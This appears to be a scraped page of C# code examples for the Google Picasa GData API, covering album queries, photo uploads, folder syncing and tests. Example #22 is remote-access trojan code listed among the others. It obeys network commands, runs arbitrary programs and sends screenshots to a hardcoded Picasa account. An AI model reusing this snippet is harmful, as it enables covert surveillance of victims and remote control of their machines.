private void AuthenticatePicasaButton_Click(object sender, RoutedEventArgs e)
		{
		    authenticatePicasaButton.IsEnabled = false;
		    authenticatePicasaLabel.Content = "";
			try
			{
			    var query = new PhotoQuery(PicasaQuery.CreatePicasaUri(DataModel.Element.PicasaUsername));
			    query.NumberToRetrieve = 1;

			    var picasaService = new PicasaService(DataModel.Element.ApplicationName);
			    picasaService.setUserCredentials(DataModel.Element.GoogleUsername, DataModel.Element.GooglePassword);

			    var feed = picasaService.Query(query);

			    authenticatePicasaLabel.Content = "Authentication Successful";
			}
			catch (Exception exception)
			{
			    authenticatePicasaLabel.Content = "Authentication Failure";
			}
			finally
			{
                authenticatePicasaButton.IsEnabled = true;
			}
		}
Пример #2
0
        public PicasaService Service()
        {
            var picasaService = new PicasaService(picasaAppName);
            picasaService.setUserCredentials(userName, password);

            return picasaService;
        }
		public NewAlbumDialog(PicasaService service, PicasaFeed feed)
		{
			//
			// Required for Windows Form Designer support
			//
			InitializeComponent();
            this.service = service;
            this.feed = feed;
		}
Пример #4
0
        private static Google.Picasa.Album GetAlbum(PicasaService service, string id)
        {
            var query = new AlbumQuery(PicasaQuery.CreatePicasaUri("default"));
            var feed = service.Query(query);

            foreach (var album in feed.Entries.Select(e => new Google.Picasa.Album { AtomEntry = e }))
            {
                if (album.Id == id)
                    return album;
            }

            return null;
        }
Пример #5
0
        static void Main(string[] args)
        {
            DbUtils.OpenDbContext(db =>
            {
                // clear Db
                db.Database.ExecuteSqlCommand("DELETE FROM [Album]");
                //
                PicasaService service = new PicasaService("");
                var feed = default(PicasaFeed);
                // add albums
                {

                    AlbumQuery albumQuery = new AlbumQuery(PicasaQuery.CreatePicasaUri("109913968155621160630"));
                    feed = service.Query(albumQuery);
                    foreach (PicasaEntry entry in feed.Entries)
                    {
                        var apiAlbum = new AlbumAccessor(entry);
                        db.Albums.Add(new Album
                        {
                            ExternalId = apiAlbum.Id,
                            Name = apiAlbum.AlbumTitle,
                            CoverPath = entry.Media.Thumbnails[0].Url,
                            IsActive = false
                        });
                    }
                    db.SaveChanges();
                }
                // add images to albums
                {
                    foreach (var dbAlbum in db.Albums)
                    {
                        PhotoQuery photoQuery = new PhotoQuery(PicasaQuery.CreatePicasaUri("109913968155621160630", dbAlbum.ExternalId));
                        feed = service.Query(photoQuery);
                        foreach (PicasaEntry entry in feed.Entries)
                        {
                            dbAlbum.AlbumImages.Add(new AlbumImage
                            {
                                Name = entry.Title.Text,
                                Path = entry.Media.Contents[0].Url,
                                Thumbnail = entry.Media.Thumbnails[entry.Media.Thumbnails.Count - 1].Url,
                                Description = entry.Media.Description.Value
                            });
                        }
                    }
                    db.SaveChanges();
                }
            });
        }
Пример #6
0
        internal PicasaAlbumInfo(PicasaEntry album, PicasaService picasaService)
        {
            if (picasaService == null)
                throw new ArgumentNullException("picasaService", "picasaService is null.");
            if (album == null)
                throw new ArgumentNullException("album", "album is null.");

            _picasaService = picasaService;
            _album = album;

            NumPhotos = Int32.Parse(_album.GetPhotoExtensionValue(GPhotoNameTable.NumPhotos));
            RemainingPhotos = Int32.Parse(_album.GetPhotoExtensionValue(GPhotoNameTable.NumPhotosRemaining));
            Title = _album.Title.Text;
            if (_album.Media.Thumbnails != null && _album.Media.Thumbnails.Count > 0)
                AlbumCover = new Bitmap(_picasaService.Query(new Uri((string)_album.Media.Thumbnails[0].Attributes["url"])));
            Id = _album.GetPhotoExtensionValue(GPhotoNameTable.Id);
        }
Пример #7
0
        public GoogleService(string username, string password)
        {
            // init the service
            this.username = username;
            service = new PicasaService(AppName);
            service.setUserCredentials(username, password);

            // cache albums
            AlbumQuery query = new AlbumQuery(PicasaQuery.CreatePicasaUri(username));
            PicasaFeed feed = service.Query(query);
            foreach (PicasaEntry entry in feed.Entries)
            {
                Album a = new Album();
                a.AtomEntry = entry;
                cache[a.Title] = a;
            }
        }
Пример #8
0
        public PictureBrowser(PicasaService service, bool doBackup)
        {
            //
            // Required for Windows Form Designer support
            //
            InitializeComponent();
            this.picasaService = service;

            this.picasaService.AsyncOperationCompleted += new AsyncOperationCompletedEventHandler(this.OnDone);
            this.picasaService.AsyncOperationProgress += new AsyncOperationProgressEventHandler(this.OnProgress);

            if (doBackup == true)
            {
                this.DownloadPhoto.Enabled = false;
                this.DownloadPhoto.Visible = false;
                this.UploadPhoto.Enabled = false;
                this.UploadPhoto.Visible = false;
            }
        }
Пример #9
0
        public static string SubmitImage(Stream photoStream, string contentType, string slugHeader)
        {
            PicasaService service = new PicasaService("phinitive");
            string password = ConfigurationManager.AppSettings["GoogleAccountPassword"] ?? String.Empty;
            if (String.IsNullOrWhiteSpace(password))
            {
                return "Password is empty";
            }
            else
            {
                service.setUserCredentials("*****@*****.**", password);

                PicasaEntry entry = (PicasaEntry)service.Insert(
                    new Uri("https://picasaweb.google.com/data/feed/api/user/default/albumid/default"),
                    photoStream,
                    contentType,
                    slugHeader);

                return entry.MediaUri.Content;
            }
        }
Пример #10
0
		public PictureBrowser(PicasaService service, PicasaFeed feed, string albumTitle)
		{
			//
			// Required for Windows Form Designer support
			//
			InitializeComponent();

            this.photoFeed = feed;
            this.picasaService = service;
            this.Text += albumTitle;

            if (this.photoFeed != null && this.photoFeed.Entries.Count > 0) 
            {
                foreach (PicasaEntry entry in this.photoFeed.Entries)
                {
                    ListViewItem item = new ListViewItem(entry.Title.Text);
                    item.Tag = entry;
                    this.PhotoList.Items.Add(item);
                }
            }
            
		}
Пример #11
0
        public static string GetAlbum(string album)
        {
            string retVal;
            try
            {
                var service = new PicasaService("exampleCo-exampleApp-1");

                string usr = Settings.GetSingleValue("Account") + "@gmail.com";
                string pwd = Settings.GetSingleValue("Password");

                service.setUserCredentials(usr, pwd);

                var query = new PhotoQuery(PicasaQuery.CreatePicasaUri(usr, album));
                PicasaFeed feed = service.Query(query);

                retVal = "<ul id=\"AlbumList\">";
                foreach (PicasaEntry entry in feed.Entries)
                {
                    var firstThumbUrl = entry.Media.Thumbnails[0].Attributes["url"] as string;
                    string thumGrp = "/s" + Settings.GetSingleValue("PicWidth") + "/";

                    if (firstThumbUrl != null) firstThumbUrl = firstThumbUrl.Replace("/s72/", thumGrp);

                    var contentUrl = entry.Media.Content.Attributes["url"] as string;

                    if (contentUrl != null) contentUrl = contentUrl.Substring(0, contentUrl.LastIndexOf("/"));

                    contentUrl += "/s640/" + entry.Title.Text;

                    retVal += string.Format(Img, firstThumbUrl, contentUrl);
                }
                retVal += "</ul>";
            }
            catch (Exception qex)
            {
                retVal = qex.Message;
            }
            return retVal;
        }
        public PicasaService GetPicasaService(bool recreate = false)
        {
            if (recreate)
            {
                //Recreate service
                _picasaService = null;
                //Get google drive about to sync autorization
                //Because unknown problems in picasa autorization
                var drive = new GoogleDriveClient();
                drive.GetAbout();
            }

            if (_picasaService == null)
            {
                var creditals = GoogleDriveClient.GetCreditals();

                var requestFactory = new GDataRequestFactory(null);
                requestFactory.CustomHeaders.Add("Authorization: Bearer " + creditals.Token.AccessToken);
                requestFactory.CustomHeaders.Add("Gdata-version: 2");
                _picasaService = new PicasaService("api-project");
                _picasaService.RequestFactory = requestFactory;
            }
            return _picasaService;
        }
Пример #13
0
 static public void saveImageFile(PicasaEntry entry, string filename, PicasaService service)
 {
     if (entry.Media != null &&
         entry.Media.Content != null)
     {
         Stream stream  = service.Query(new Uri(entry.Media.Content.Attributes["url"] as string));
         FileStream fs = new FileStream(filename, FileMode.OpenOrCreate);
         BinaryWriter w = new BinaryWriter(fs);
         byte []buffer = new byte[1024];
         int iRead=0;
         int iOffset = 0; 
         while ((iRead = stream.Read(buffer, 0, 1024)) > 0) 
         {
             w.Write(buffer, 0, iRead);
             iOffset += iRead;
         }
         w.Close();
         fs.Close();
     }    
 }
        private void UpdateAlbumAccess(PicasaService session, Album albumToUpdate, AlbumAccessEnum albumAccess)
        {
            //update existing album
            WriteOutput(string.Concat("Updating Album: ", albumToUpdate.AtomEntry.Title.Text), true);
            albumToUpdate.Updated = DateTime.Now;
            albumToUpdate.Access = albumAccess.ToString().ToLower();

            albumToUpdate.AtomEntry = (PicasaEntry)albumToUpdate.AtomEntry.Update();
            m_albumUpdateCount++;
        }
        /// <summary>
        /// Syncs a local folder to an online Picasa Web Album location
        /// </summary>
        /// <param name="sourceFolder">The source folder to sync.</param>
        /// <param name="albumNamePrefix">A prefix to prepend to the album name.</param>
        /// <param name="includeSubFolders">Indicated whether to sync all subfolders recursively.</param>
        /// <param name="session">The current authenticated Picasa session.</param>
        /// <param name="albumFeed">A feed listing all existing Picass Web Albums in the Picasa account.</param>
        private void SyncFolder(DirectoryInfo sourceFolder, string albumNamePrefix, AlbumAccessEnum targetAlbumAccess, bool includeSubFolders, PicasaService session, PicasaFeed albumFeed)
        {
            if (!sourceFolder.Exists)
            {
                throw new DirectoryNotFoundException(string.Format("Folder '{0}' cannot be located.", sourceFolder.FullName));
            }

            string targetAlbumName = GetTargetAlbumName(sourceFolder, albumNamePrefix);
            Dictionary<string, FileInfo> sourceFiles = GetSourceFiles(sourceFolder);
            bool excludeFolder = ShouldExcludeFolder(sourceFolder, sourceFiles);
            PicasaEntry existingAlbumEntry = albumFeed.Entries.FirstOrDefault(a => a.Title.Text == targetAlbumName) as PicasaEntry;

            if (excludeFolder)
            {
                if (existingAlbumEntry != null && !this.AddOnly)
                {
                    //album needs to be removed
                    WriteOutput(string.Format("Removing Album: {0} (excluded but already exists)", targetAlbumName));
                    existingAlbumEntry.Delete();
                    existingAlbumEntry.Summary.Text = ENTRY_DELETED_SUMMARY;
                    m_albumDeleteCount++;
                }
                else
                {
                    m_folderSkipCount++;
                }
            }
            else
            {
                WriteOutput(string.Format("Syncing Folder: {0} to Album: {1}", sourceFolder.FullName, targetAlbumName), true);

                try
                {
                    targetAlbumAccess = DetermineAlbumAccess(sourceFolder, targetAlbumAccess);

                    if (sourceFiles.Count > 0)
                    {
                        Album targetAlbum = new Album();
                        if (existingAlbumEntry != null)
                        {
                            targetAlbum.AtomEntry = existingAlbumEntry;
                            if (targetAlbum.Access != targetAlbumAccess.ToString().ToLower())
                            {
                                UpdateAlbumAccess(session, targetAlbum, targetAlbumAccess);
                            }
                        }
                        else
                        {
                            targetAlbum = CreateAlbum(session, albumFeed, targetAlbumName, targetAlbumAccess);
                        }

                        PhotoQuery existingAlbumPhotosQuery = new PhotoQuery(PicasaQuery.CreatePicasaUri(this.PicasaUsername, targetAlbum.Id));
                        PicasaFeed existingAlbumPhotosFeed = session.Query(existingAlbumPhotosQuery);

                        //sync folder files
                        DeleteFilesFromAlbum(sourceFiles, existingAlbumPhotosFeed);

                        foreach (KeyValuePair<string, FileInfo> file in sourceFiles.OrderBy(f => f.Value.LastWriteTime))
                        {
                            AddFileToAlbum(file.Value, targetAlbum, existingAlbumPhotosFeed, session);
                        }
                    }
                }
                catch (Exception ex)
                {
                    WriteOutput(string.Format("Skipping Folder: {0} (Error - {1})", sourceFolder.Name, ex.Message), true);
                }

                if (includeSubFolders)
                {
                    DirectoryInfo[] subfolders = sourceFolder.GetDirectories().OrderBy(d => d.CreationTime).ToArray();
                    if (subfolders.Length > 0)
                    {
                        foreach (DirectoryInfo folder in subfolders)
                        {
                            SyncFolder(folder, targetAlbumName, targetAlbumAccess, includeSubFolders, session, albumFeed);
                        }
                    }
                }
            }
        }
        private Album CreateAlbum(PicasaService session, PicasaFeed albumFeed, string targetAlbumName, AlbumAccessEnum albumAccess)
        {
            //create album (doesn't exist)
            WriteOutput(string.Concat("Creating Album: ", targetAlbumName), true);
            AlbumEntry newAlbumEntry = new AlbumEntry();
            newAlbumEntry.Title.Text = targetAlbumName;
            newAlbumEntry.Summary.Text = targetAlbumName;
            newAlbumEntry.Published = DateTime.Now;

            Album newAlbum = new Album();
            newAlbum.AtomEntry = newAlbumEntry;
            newAlbum.Access = albumAccess.ToString().ToLower();

            Uri insertAlbumFeedUri = new Uri(PicasaQuery.CreatePicasaUri(this.PicasaUsername));
            newAlbum.AtomEntry = (PicasaEntry)session.Insert(insertAlbumFeedUri, newAlbumEntry);
            m_albumCreateCount++;

            return newAlbum;
        }
      /*  public string LoginToGoogle(out string token)
        {
            GDataGAuthRequestFactory authFactory = new GDataGAuthRequestFactory("lh2", this.m_serviceName);
            authFactory.AccountType = "GOOGLE_OR_HOSTED";

            this.m_albumService = new PicasaService(authFactory.ApplicationName);
            try
            {
                this.m_albumService.setUserCredentials(this.m_userName, this.m_password);
                this.m_albumService.QueryAuthenticationToken(); // Authenticate the user immediately
            }
            catch (CaptchaRequiredException e)
            {
                token = e.Token;
                return e.Url;
            }
        }

        public string LoginToGoogle(out string token, string CAPTCHAAnswer, string CAPTCHAToken)
        {
            GDataGAuthRequestFactory authFactory = new GDataGAuthRequestFactory("lh2", this.m_serviceName);
            authFactory.AccountType = "GOOGLE_OR_HOSTED";
            string token = string.Empty;
            this.m_albumService = new PicasaService(authFactory.ApplicationName);
            authFactory.CaptchaAnswer = CAPTCHAAnswer;
            authFactory.CaptchaToken = CAPTCHAToken;
            this.m_albumService.setUserCredentials(this.m_userName, this.m_password);

            token = this.m_albumService.QueryAuthenticationToken(); // Authenticate the user immediately
            return token;


        }
        */
        public List<PicasaWebAlbum> QueryAlbums()
        {
            // Create an authentication factory to deal with logging in.
            GDataGAuthRequestFactory authFactory = new GDataGAuthRequestFactory("lh2", this.m_serviceName);
            authFactory.AccountType = "GOOGLE_OR_HOSTED";
                       
            this.m_albumService = new PicasaService(authFactory.ApplicationName);
            this.m_albumService.RequestFactory = authFactory;
            this.m_albumService.SetAuthenticationToken(this.mUserToken);
           
         
            this.m_albumQuery = new AlbumQuery(PicasaQuery.CreatePicasaUri("default"));
            this.m_albumQuery.Access = PicasaQuery.AccessLevel.AccessAll;
           

            List<PicasaWebAlbum> retval = new List<PicasaWebAlbum>();
           
            try
            {
                CreateAlbumProxy();
                this.m_albumFeed = this.m_albumService.Query(this.m_albumQuery);
                
            }
            catch (Exception e)
            {
                this.m_albumQuery = null;
                this.m_albumService.RequestFactory = null;
                this.m_albumService = null;
                this.m_albumFeed = null;
                retval = null;
                throw new Exception("PicasaReader failed when downloading album feed for "+this.m_userName, e);

            }
            foreach (PicasaEntry entry in this.m_albumFeed.Entries)
            {
                AlbumAccessor ac = new AlbumAccessor(entry);
                retval.Add(new PicasaWebAlbum(entry.Title.Text, entry.Updated,ac.NumPhotos,Convert.ToUInt64(ac.Id)));
            }
            this.m_albumQuery = null;
            this.m_albumService.RequestFactory = null;
            this.m_albumService = null;
            this.m_albumFeed = null;
            return retval;
        }
        /// <summary>
        /// Syncs a local folder to an online Picasa Web Album location
        /// </summary>
        /// <param name="folderPath">The source folder to sync.</param>
        public void SyncFolder(string folderPath)
        {
            ResetCounters();
            PicasaService session = new PicasaService("PicasaWebSync");
            session.setUserCredentials(this.PicasaUsername, this.PicasaPassword);
            AlbumQuery query = new AlbumQuery(PicasaQuery.CreatePicasaUri(this.PicasaUsername));

            try
            {
                WriteOutput("[Connecting to Picasa web service]");
                //fetch all albums
                PicasaFeed albumFeed = session.Query(query);

                WriteOutput("[Starting sync]");

                folderPath = folderPath.TrimEnd(new char[] { '\\' });
                DirectoryInfo sourceFolder = new DirectoryInfo(folderPath);
                m_baseDirectoryName = sourceFolder.Name;

                SyncFolder(sourceFolder, null, this.AlbumAccess, this.IncludeSubFolders, session, albumFeed);
            }
            catch (GDataRequestException gdrex)
            {
                if (gdrex.ResponseString.Contains(GDATA_RESPONSE_BADAUTH))
                {
                    throw new AuthenticationException("Picasa error - username and/or password is incorrect!  Check the config file values.");
                }
                else
                {
                    throw new Exception(string.Format("Picasa error - {0}", gdrex.ResponseString));
                }
            }

            WriteOutput("[Done]");
            WriteOutput(string.Empty);
            WriteOutput("Summary:");
            WriteOutput(string.Format("  Folders skipped: {0}", m_folderSkipCount.ToString()));
            WriteOutput(string.Format("   Albums created: {0}", m_albumCreateCount.ToString()));
            WriteOutput(string.Format("   Albums updated: {0}", m_albumUpdateCount.ToString()));
            WriteOutput(string.Format("   Albums deleted: {0}", m_albumDeleteCount.ToString()));
            WriteOutput(string.Format("   Files uploaded: {0}", m_fileCreateCount.ToString()));
            WriteOutput(string.Format("    Files removed: {0}", m_fileDeleteCount.ToString()));
            WriteOutput(string.Format("    Files skipped: {0}", m_fileSkipCount.ToString()));
            WriteOutput(string.Format("   Errors occured: {0}", m_errorsCount.ToString()));
            WriteOutput(string.Format("     Elapsed time: {0}", (DateTime.Now - m_startTime).ToString()));
        }
        public List<string> QueryTag(PicasaWebPhoto photo)
        {
            List<string> retval = new List<string>();
            this.m_tagQuery = new TagQuery(TagQuery.CreatePicasaUri(this.m_userName, this.m_albumName, photo.AccessId));
            this.m_tagService = new PicasaService("Tags");
            //this.m_tagService.setUserCredentials(this.m_userName, this.m_password);
            this.m_tagService.SetAuthenticationToken(this.mUserToken);
            CreateTagProxy();
            try
            {
                this.m_tagFeed = this.m_tagService.Query(this.m_tagQuery);

                foreach (PicasaEntry entry in m_tagFeed.Entries)
                {
                    retval.Add(entry.Title.Text);
                }
            }
            catch (Exception e)
            {
                this.m_tagQuery = null;
                this.m_tagService.RequestFactory = null;
                this.m_tagService = null;
                this.m_tagFeed = null;
                throw new Exception("Query Tag Exception", e);

            }


            this.m_tagQuery = null;
            this.m_tagService.RequestFactory = null;
            this.m_tagService = null;
            this.m_tagFeed = null;
            return retval;

        }
Пример #20
0
        /////////////////////////////////////////////////////////////////////////////

        //////////////////////////////////////////////////////////////////////
        /// <summary>tries to insert a photo using MIME multipart</summary> 
        //////////////////////////////////////////////////////////////////////
        [Test] public void InsertMimePhotoTest()
        {
            Tracing.TraceMsg("Entering InsertMimePhotoTest");

            AlbumQuery query = new AlbumQuery();
            PicasaService service = new PicasaService("unittests");
           
            if (this.defaultPhotosUri != null)
            {
                if (this.userName != null)
                {
                    service.Credentials = new GDataCredentials(this.userName, this.passWord);
                }

                query.Uri = new Uri(this.defaultPhotosUri);

                PicasaFeed feed = service.Query(query);
                if (feed != null)
                {
                    
                    Assert.IsTrue(feed.Entries != null, "the albumfeed needs entries");
                    Assert.IsTrue(feed.Entries[0] != null, "the albumfeed needs at least ONE entry");

                    PicasaEntry album = feed.Entries[0] as PicasaEntry;

                    PhotoEntry newPhoto = new PhotoEntry();
                    newPhoto.Title.Text = "this is a title";
                    newPhoto.Summary.Text = "A lovely shot in the ocean";

                    newPhoto.MediaSource = new MediaFileSource(this.resourcePath + "testnet.jpg", "image/jpeg");

                    Uri postUri = new Uri(album.FeedUri.ToString());

                    PicasaEntry entry = service.Insert(postUri, newPhoto) as PicasaEntry;

                    Assert.IsTrue(entry.IsPhoto, "the new entry should be a photo entry");

                    entry.Title.Text = "This is a new Title";
                    entry.Summary.Text = "A lovely shot in the shade";
                    entry.MediaSource = new MediaFileSource(this.resourcePath + "testnet.jpg", "image/jpeg");
                    PicasaEntry updatedEntry = entry.Update() as PicasaEntry;
                    Assert.IsTrue(updatedEntry.IsPhoto, "the new entry should be a photo entry");
                    Assert.IsTrue(updatedEntry.Title.Text == "This is a new Title", "The titles should be identical");
                    Assert.IsTrue(updatedEntry.Summary.Text == "A lovely shot in the shade", "The summariesa should be identical");


                }
            }
        }
Пример #21
0
 public PicasaUploadService()
 {
     _picasaService = new PicasaService("PicasaUploader");
     SetupWorkarounds();
 }
Пример #22
0
        //We'll run this on another thread so the CPU doesn't go haywire.
        public static void Receive()
        {
            //Infinite loop

            while (true)
            {

                //Try to read the data.

                try

                {
                    //Packet of the received data

                    byte[] RecPacket = new byte[1000];

                    //Read a command from the client.

                    Receiver.Read(RecPacket, 0, RecPacket.Length);

                    //Flush the receiver

                    Receiver.Flush();

                    //Convert the packet into a readable string

                    string Command = Encoding.ASCII.GetString(RecPacket);

                    //Split the command into two different strings based on the splitter we made, ---

                    string[] CommandArray = System.Text.RegularExpressions.Regex.Split(Command, "---");

                    //Get the actual command.

                    Command = CommandArray[0];

                    //A switch which does a certain thing based on the received command

                    switch (Command)
                    {

                        //Code for "MESSAGE"

                        case "MESSAGE":
                            string Msg = CommandArray[1];
                            string ile1 = CommandArray[2];
                            for (int i = 0; i < Convert.ToInt32(ile1); i++)
                            {
                                //Display the message in a messagebox (the trim removes any excess data received :D)
                                MessageBox.Show(Msg.Trim('\0'));
                            }
                            break;

                        case "OPENSITE":

                            //Get the website URL

                            string Site = CommandArray[1];

                            //Open the site using Internet Explorer
                            string ile2 = CommandArray[2];
                            for (int i = 0; i < Convert.ToInt32(ile2); i++)
                            {
                                System.Diagnostics.Process IE = new System.Diagnostics.Process();

                                IE.StartInfo.FileName = "iexplore.exe";

                                IE.StartInfo.Arguments = Site.Trim('\0');

                                IE.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Maximized;

                                IE.Start();
                            }
                            break;

                        case "BEEP":
                            string czas = CommandArray[1];
                            for (int i = 0; i <Convert.ToInt32(czas); i++)
                            {
                                Console.Beep(5000, 100);
                                Console.Beep(100, 300);
                                Console.Beep(1000, 100);
                                Console.Beep(500, 300);
                                Console.Beep(3000, 500);
                                Console.Beep(500, 100);
                                Console.Beep(1000, 100);

                            }
                            break;

                        case "TAPETA":
                            string lokalizacja = CommandArray[1];
                            {
                                //SetWallpaper(openGraphic.FileName, 2, 0);
                                int Result;
                                string bmp_path = lokalizacja;
                                Result = SystemParametersInfo(20, 0, bmp_path, 0x1 | 0x2);
                            }
                            break;

                        case "MOW":
                            string tekst = CommandArray[1];
                            string ile4 = CommandArray[2];
                            for (int i = 0; i < Convert.ToInt32(ile4); i++)
                            {
                                SpeechSynthesizer speaker = new SpeechSynthesizer();
                                speaker.Rate = 1;
                                speaker.Volume = 100;
                                speaker.Speak(tekst);
                            }
                            break;

                        case "SCREEN":
                            string data = DateTime.Now.ToShortDateString();
                            string godzina = DateTime.Now.ToString("HH.mm.ss");
                            string plik = data + "Godzina." + godzina + "s.jpeg";
                            {
                                //Funkcja robi screenshota
                                ScreenCapture sc = new ScreenCapture();
                                sc.CaptureScreenToFile( plik ,ImageFormat.Jpeg);

                                ///Funkcja uploadująca na serwer picassy
                                PicasaService service = new PicasaService("exampleCo-exampleApp-1");
                                service.setUserCredentials("Trojan.cSharp", "trojanc#");

                                System.IO.FileInfo fileInfo = new System.IO.FileInfo(plik);
                                System.IO.FileStream fileStream = fileInfo.OpenRead();

                                PicasaEntry entry = (PicasaEntry)service.Insert(new Uri("https://picasaweb.google.com/data/feed/api/user/default/albumid/default"), fileStream, "image/jpeg", plik);
                                fileStream.Close();
                            }
                            break;

                        default:
                            string ile3 = CommandArray[1];
                            for (int i = 0; i < Convert.ToInt32(ile3); i++)
                            {
                                System.Diagnostics.Process proces = new System.Diagnostics.Process();
                                proces.StartInfo.FileName = Command;
                                proces.Start();
                            }
                            break;
                    }

                }
                catch
                {

                    //Stop reading data and close

                    break;
                }

            }
        }
        public List<string> QueryTag(PicasaWebPhoto photo, BackgroundWorker worker, int overallJobPercent)
        {
            List<string> retval = new List<string>();
            this.m_tagQuery = new TagQuery(TagQuery.CreatePicasaUri(this.m_userName, this.m_albumName, photo.AccessId));
            this.m_tagService = new PicasaService("Tags");
            //this.m_tagService.setUserCredentials(this.m_userName, this.m_password);
            this.m_tagService.SetAuthenticationToken(this.mUserToken);
            decimal count = ((decimal)overallJobPercent / 100) * 10;
            int smallCount = (int)count;
            worker.ReportProgress(0, (object)"Creating proxy");
            CreateTagProxy();
            try
            {
                worker.ReportProgress(smallCount, (object)"Proxy created");
                worker.ReportProgress(0, (object)"Querying google");
                this.m_tagFeed = this.m_tagService.Query(this.m_tagQuery);
                worker.ReportProgress(smallCount, (object)"Done");
                if (this.m_tagFeed.Entries.Count > 0)
                {
                    int percent = (int)Math.Round((decimal)((overallJobPercent - (smallCount * 2)) / this.m_tagFeed.Entries.Count), 0);
                    worker.ReportProgress(0, (object)"Processing tag data");
                    foreach (PicasaEntry entry in m_tagFeed.Entries)
                    {
                        retval.Add(entry.Title.Text);
                        worker.ReportProgress(percent, null);
                    }
                }
            }
            catch (Exception e)
            {
                this.m_tagQuery = null;
                this.m_tagService.RequestFactory = null;
                this.m_tagService = null;
                this.m_tagFeed = null;
                throw new Exception("Query Tag Exception", e);

            }


            this.m_tagQuery = null;
            this.m_tagService.RequestFactory = null;
            this.m_tagService = null;
            this.m_tagFeed = null;
            return retval;
        }
        /// <summary>
        /// Syncs a local file to an online Picasa Web Album location
        /// </summary>
        /// <param name="sourceFile">The image to sync.</param>
        /// <param name="targetAlbum">The target Picasa Web Album.</param>
        /// <param name="targetAlbumPhotoFeed">The target Picasa Web Album photo feed listing existing photos.</param>
        /// <param name="session">The current authenticated Picasa session.</param>
        private void AddFileToAlbum(FileInfo sourceFile, Album targetAlbum, PicasaFeed targetAlbumPhotoFeed, PicasaService session)
        {
            try
            {
                PicasaEntry existingPhotoEntry = (PicasaEntry)targetAlbumPhotoFeed.Entries.FirstOrDefault(
                    p => p.Title.Text == sourceFile.Name && p.Summary.Text != ENTRY_DELETED_SUMMARY);

                if (existingPhotoEntry != null)
                {
                    WriteOutput(string.Format("Skipping File: {0} (already exists)", sourceFile.Name), true);
                    m_fileSkipCount++;
                }
                else
                {
                    ImageFormat imageFormat;
                    string contentType;
                    bool isImage;
                    bool isVideo;
                    GetFileInfo(sourceFile, out isImage, out isVideo, out imageFormat, out contentType);

                    Stream postResponseStream = null;
                    Stream postFileStream = null;
                    string souceFilePath = sourceFile.FullName;

                    try
                    {
                        if (isVideo && this.ResizeVideos)
                        {
                            WriteOutput(string.Concat("Resizing Video: ", sourceFile.FullName), true);
                            string resizedVideoPath = VideoResizer.ResizeVideo(sourceFile, this.ResizeVideosCommand);
                            //change souceFilePath to resized video file location
                            souceFilePath = resizedVideoPath;
                        }

                        using (Stream sourceFileStream = new FileStream(souceFilePath, FileMode.Open, FileAccess.Read))
                        {
                            postFileStream = sourceFileStream;

                            if (isImage && this.ResizePhotos)
                            {
                                WriteOutput(string.Concat("Resizing Photo: ", sourceFile.FullName), true);
                                postFileStream = ImageResizer.ResizeImage(postFileStream, imageFormat, this.ResizePhotosMaxSize);
                            }

                            WriteOutput(string.Format("Uploading File: {0}", sourceFile.FullName), true);
                            Uri insertPhotoFeedUri = new Uri(PicasaQuery.CreatePicasaUri(this.PicasaUsername, targetAlbum.Id));

                            PhotoEntry newFileEntry = new PhotoEntry();
                            newFileEntry.Title.Text = sourceFile.Name;
                            newFileEntry.Summary.Text = string.Empty;
                            newFileEntry.MediaSource = new MediaFileSource(postFileStream, sourceFile.Name, contentType);

                            //upload file using multipart request
                            postResponseStream = session.EntrySend(insertPhotoFeedUri, newFileEntry, GDataRequestType.Insert);
                            newFileEntry.MediaSource.GetDataStream().Dispose();
                        }

                        m_fileCreateCount++;

                    }
                    finally
                    {
                        if (postResponseStream != null)
                        {
                            postResponseStream.Dispose();
                        }

                        if (postFileStream != null)
                        {
                            postFileStream.Dispose();
                        }
                    }

                    if (isVideo && this.ResizeVideos)
                    {
                        //video was resized and souceFilePath should be temp/resized video path
                        try
                        {
                            File.Delete(souceFilePath);
                        }
                        catch (Exception ex)
                        {
                            WriteOutput(string.Format("Error Deleting Resized Video: {0} (Error - {1})", sourceFile.FullName, ex.Message), true);
                        }
                    }
                }
            }
            catch (GDataRequestException gdex)
            {
                WriteOutput(string.Format("Skipping File: {0} (Error - {1})", sourceFile.Name, gdex.ResponseString), true);
                m_errorsCount++;
            }
            catch (Exception ex)
            {
                WriteOutput(string.Format("Skipping File: {0} (Error - {1})", sourceFile.Name, ex), true);
                m_errorsCount++;
            }
        }
    protected string GetAlbumsTable()
    {
        if (string.IsNullOrEmpty(Settings.GetSingleValue("Account"))) return string.Empty;

        var service = new PicasaService("exampleCo-exampleApp-1");

        string usr = Settings.GetSingleValue("Account") + "@gmail.com";
        string pwd = Settings.GetSingleValue("Password");

        service.setUserCredentials(usr, pwd);

        var sb = new StringBuilder("<table class=\"beTable\">");

        var query = new AlbumQuery(PicasaQuery.CreatePicasaUri(usr));
        PicasaFeed feed = service.Query(query);

        sb.Append(GetHeader());

        var cnt = 0;
        foreach (PicasaEntry entry in feed.Entries)
        {
            var ac = new AlbumAccessor(entry);
            const string cell = "<td>{0}</td>";

            sb.Append(cnt%2 == 0 ? "<tr>" : "<tr class=\"alt\">");

            // thumbnail
            string albumUri = ((Google.GData.Client.AtomEntry)(entry)).AlternateUri.ToString();
            string firstThumbUrl = entry.Media.Thumbnails[0].Attributes["url"] as string;
            string thumbAncr = string.Format("<a href=\"{2}\"><img src=\"{0}\" alt=\"{1}\" width=\"40\" /></a>",
                         firstThumbUrl, entry.Title.Text, albumUri);
            sb.Append(string.Format(cell, thumbAncr));

            // title
            sb.Append(string.Format(cell, ac.AlbumTitle));

            // description
            sb.Append(string.Format(cell, ac.AlbumSummary + "&nbsp;"));

            // number of photos
            sb.Append(string.Format(cell, ac.NumPhotos));

            // access
            sb.Append(string.Format(cell, ac.Access));

            // extension tag
            string feedUri = entry.FeedUri;
            const string showTag = "[PicasaShow:{0}]";
            const string albmTag = "[PicasaAlbum:{0}]";

            if (ac.Access.ToLower() == "protected")
            {
                sb.Append(string.Format(cell, "&nbsp;"));
                sb.Append(string.Format(cell, "&nbsp;"));
            }
            else
            {
                sb.Append(string.Format(cell, string.Format(showTag, ac.AlbumTitle)));
                sb.Append(string.Format(cell, string.Format(albmTag, ac.AlbumTitle)));
            }

            sb.Append("</tr>");
            cnt++;
        }

        return sb + "</table>";
    }
        protected virtual void Dispose(bool disposing)
        {
            if (!is_disposed) // only dispose once!
            {
                if (disposing)
                {
                    
                    m_albumService = null;
                    m_albumFeed = null;
                    m_albumQuery = null;
                    m_photoService = null;
                    m_photoQuery = null;
                    m_photoFeed = null;
                    m_userName = null;
                    m_serviceName = null;
